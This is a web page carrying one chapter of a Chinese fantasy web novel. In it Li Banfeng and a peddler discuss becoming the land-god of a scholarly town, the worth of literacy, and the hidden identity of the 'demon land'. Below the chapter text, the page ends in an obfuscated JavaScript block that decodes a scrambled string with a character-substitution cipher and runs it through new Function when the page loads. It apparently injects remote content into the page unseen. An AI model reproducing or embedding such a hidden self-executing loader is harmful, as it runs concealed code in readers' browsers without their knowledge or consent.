返回

普罗之主

首页
关灯
护眼
字体:
第四百五十六章 魔土在哪?
天寒地冻,货郎依旧只穿着一件蓝布坎肩,在冰上凿了个窟窿,一头钻了进去。

两分多钟后,货郎从冰窟窿里钻了出来,找了条手巾擦了擦脸,对“地头神”道:“湖底的入口堵住了,其他入口都堵住了,就留了柳下慧那一个入口。”

柳下慧,柳下写个“慧”字。

李伴峰很是惊讶:“这么有创意的入口,是谁想出来的?”

货郎道:“慕容贵想到的,他当上地头神之后留下这個入口,他说开门的方法不能太复杂,怕自己记不住,也不能太简单,怕别人猜出来,于是就把柳下惠换了一个字,自己好想,但别人不好猜。”

李伴峰看着判官笔,赞叹道:“阿贵,你好才华呀!”

判官笔睡着了,没有回应。

货郎冷笑一声:“有个鸟的才华,他就是懒得多想,

我还问他,这是你开自己家门的方法,为什么要告诉我?

他说这是为了防备歹人进门,如果他出了意外,我这还能有个照应,

我还真就信了他,把这开门的方法记住了,可事后一想,我这不成了他家的支挂么?

这小子太懒,想让我替他看家,其实当时我就该猜出来,他入了懒修。”

货郎拿了两大块墨块,给了“地头神”。

“地头神”闻到了浓郁的墨香气,抱在怀里亲昵了好一会,恢复了不少精神,原本呆滞脸上有了些神采,写字的速度也快了许多。

给了两块墨,就满足了,就平复了,就斗志满满了,这个笔也太好糊弄了。

李伴峰问货郎:“你光给墨,不给纸,万一纸用完了怎么办?”

货郎拿起一份写好的书卷,问道:“你说的是这个?”

李伴峰点了点头。

货郎解释道:“这个书卷,不是我能给的,这是墨香店里生出来的。”

说完,货郎展开了书卷,书卷上密密麻麻写着墨香店的三条秩序,可李伴峰忽然发现,书卷起始部分,字迹正在逐个消失。

“这什么道理?”李伴峰看向了货郎。

货郎叹口气道;“因为太多人不想读书,刚写下的秩序很快会被消磨干净。”

李伴峰能理解其中的道理:“劝学,是很难的一件事。”

“所以墨香店的地头神很难当。”货郎一直注视着手中的书卷,直到上边的字迹完全消失,变成了一卷白纸,他把书卷交给了“地头神”。

“地头神”接过了书卷,蘸了些墨汁,继续书写规则。

“真是一支勤奋的好笔!”货郎赞叹一声,转眼看向了李伴峰,“你修为快到云上了吧?”

李伴峰摇头道:“我才入道门几天,离云上还差得远。”

“既然还差得远,你怎么还当了地头神?”

“我没有!”李伴峰直接否认。

货郎冷哼一声:“我都看见了,慕容贵吊着伱到处飞,在新地上你还应对过开荒人。”

李伴峰还是摇头:“我有精神疾病,我当时就是想飞,我的想法你不明白。”

货郎皱眉道:“你不用瞒着我,想当地头神,还不想去内州,这是件好事,带种的人才能做出来的好事,

只是你那块新地,只有一半契书,另一半还在内州放着,弄不好就被内州给算计了,

墨香店这地方大不相同,这里的契书是完整的,对你来说是大好良机。”

李伴峰看了看奋笔疾书的“地头神”,摇摇头道:“我觉得这里不太适合我,我不是文修。”

“不是文修不要紧!重要的不是道门,是心境,只要你有一颗学文的心,就没有战胜不了的困难!”货郎挺直了腰身,形象突然高大了不少。

李伴峰仿佛在货郎的脸上,看到了一个厚重的“饼”字。

“谢你好意,我真的不适合这里。”

货郎真诚的看着李伴峰:“我让你来这当地头神,不是为了把我那支笔救出去,我是真心为你好!”

李伴峰点点头道:“我也相信你是好意,可我一个旅修,天天在这写字,不合适。”

货郎沉下脸道:“不来拉倒,不识好歹,墨香店是什么地方!有多少人想来,都没这门路!”

李伴峰还正想问这件事:“墨香店是个很重要的地方吧?”

货郎一怔:“这事你不知道?那你为什么在这拼命?”

李伴峰回答道:“普罗州的地方,凭什么交给内州?”

货郎笑道:“这话没错!还有别的缘故么?”

李伴峰又道:“我在这闻到了墨香气,在普罗州,这股墨香气太罕见了。”

货郎一笑:“你是说墨水的味道?”

李伴峰摇摇头:“不是墨水,是地界,是人,是书本,是风俗,是一言一行,是一笔一画,是茶楼诗社,是饭馆客栈……”

他想到哪就说到哪,把这几天的见到的事物都跟货郎说了。

货郎一字一句的听完,问道:“你觉得墨香店的人怎么样?”

李伴峰回想了一下在墨香店遇到的人:“矫情、傲慢、固执、迂腐,挺讨嫌的,但也挺讨人喜欢。”

货郎笑道:“是吧,挺讨人喜欢的吧!

你说的没错,墨香店有墨香气,这点墨香气确实很珍贵,

外州人几乎都识字,内州人也都识字,

普罗州差的不是一星半点,黑石坡识字的勉强一半,绿水城识字的不到三成,其他地方随便找出来一百个人,都未必能有一个识字的。”

黑石坡为什么有这么多识字的?

比绿水城还多?

李伴峰没有打断货郎,接着听他说道:“只有墨香店,人人都识字,多认识一个字,人就能多看出一里远的地界,

认得一百个字的人,能看清楚身边的事情,认得一千个字,能看到外边的事情,认得一万个字,能古今内外连在一起看,

留在墨香店的人,知道去看,知道去想,不管想的对不对,反正是想了,

从墨香店出去的人,不管用什么办法,不管再怎么矫情,也能把自己想到的东西告诉别人。”

李伴峰问道:“可别人能听得明白么?”

货郎摇摇头道:“听不明白,九成的人听不明白,可好歹还剩下一成人跟着一起去想,

要是墨香店这块地方丢了,普罗州没人愿意想事情了,以后也只能等着被外州和内州吃个干净。”

李伴峰点点头:“所以墨香店这地方,无论如何都不能丢。”

货郎用力点头:“所以得需要一个有担当,有胆量,有血性的大好儿郎,来担任墨香店的地头神!”

说完,货郎真诚的看着李伴峰。

李伴峰礼貌的回应了一句:“哼。”

……

两人离开了地头神的住所,路上,李伴峰问起一件事:“按以前的时间推算,你这段日子应该在海吃岭和裤带坎,我让人去找,为什么没能找到你?”

一说起这事,货郎脸黑了:“我正要问你,你这疯病传染么?”

李伴峰挺起的胸膛道:“我没疯,医生看过的。”

货郎怒道:“那你手下人发什么疯?为什么让电台去找我?”

罗正南用电台找的货郎?

这事李伴峰是真不知道。

“你当时正在听电台?”

货郎摇头道:“我当时没听,被我一个相好的听见了,把我找着了。”

李伴峰小心翼翼问了一句:“从哪找着的?”

货郎沉着脸道:“另一个相好的家里。”

一个相好的,去了另一个相好的家里,当时货郎都经历了什么?

李伴峰深吸了一口气。

万幸啊,真是万幸。

多亏随身居比较冷静,没有追踪货郎,万一追到被窝里,这事就大了。

“郎兄,这事是小弟鲁莽了!”李伴峰赶紧给货郎道了个歉。

到了林子外边,货郎把葛俊蟆和何才元交给了李伴峰。

“这两个还活着,只是不能动了,你带回去吃了吧。”

李伴峰笑了笑,委婉的说道:“郎兄说笑了,那蛤蟆倒还将就,那老头子是个人,我哪能吃这个。”

货郎也笑了:“你吃不了,家里有人能吃不就行了?”

李伴峰看了货郎一眼,他好像什么都知道。

货郎拾掇拾掇货车,准备离开了。

李伴峰赶紧问道:“郎兄,你知道脸不大这个人么?”

货郎放下车子,猛然回头看向了李伴峰,表情极其阴森:“你什么时候见过他?”

“有段日子了,那天我做梦在大海划船,我那房子有些误会,把我送到脸不大的油湖里了。”

货郎问道:“房子把你送去的?你弄到铁轨了?”

李伴峰点了点头。

货郎又问:“脸不大跟你说什么了?”

“他说他在那地方吃了很多苦,他想让你去救他。”

“油湖,”货郎皱了皱眉头,“我知道你说的那个地方,那是他的脸,可就算去了那地方,我也救不出来他。”

李伴峰没说话,这种层次的事情,他也不知道该怎么处置。

货郎沉默许久道:“我一直想救他,可也一直想不到好办法,等想到了再告诉你,这事可能还得你帮忙。”

李伴峰一怔,这事让我帮忙?

他知道自己几斤几两,以现在的实力,想帮货郎的忙,难度大了点。

他应该是想找随身居帮忙。

可随身居这么大用处,他为什么要送给我?

这件事,李伴峰一直想问,今天时机还挺合适:“郎兄,你为什么要把那座房子给我?世上应该有很多人想得到那座房子。”

货郎一怔:“这事不早就说过了么,因为你入道门的时候吃了亏,我得给你补偿。”

“真就是因为我被撞了一下?以你的手段,肯定能让我躲开你的货柜子。”

货郎表情严肃道:“那可不一定,凡事都怕个意外,总有防备不到的事情。”

看来货郎不想说。

对于别人不想说的事情,李伴峰从来都不问。

货郎推起了货车,对李伴峰道:“还有什么事要问,没事我可就走了,

今天我心情好,才告诉你这么多事情,下次见面可就难说了。”

李伴峰要问的事情很多,但他能看出来货郎耐心有限。

思前想后,李伴峰问了一件最想问的事情:“郎兄,魔土在什么地方?”

货郎沉默了。

这事貌似不该问,但对李伴峰很关键。

娘子和洪莹都曾和魔土作战,也都曾和货郎作战。

那么货郎和魔土之间又是什么关系?

按照李伴峰的理解,魔土应该就是内州,他们是侵略者。

可货郎和火车公公又是哪方势力的?

从他们对待内州的态度来看,他们俩不可能和内州在同一阵营,李伴峰对魔土的理解,可能存在某种误区。

这件事,货郎愿意说么?

货郎倚坐在货车上,想了好久,似乎想到了某件事:“你一说魔土,还真把我问住了,这都多少年前的老黄历了?

现在那地方早就不叫魔土了。”

李伴峰一愣:“那叫什么?”

“叫普罗州。”

咣当当当!

货郎推起了货车,摇着拨浪鼓,消失在了夜色之中。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();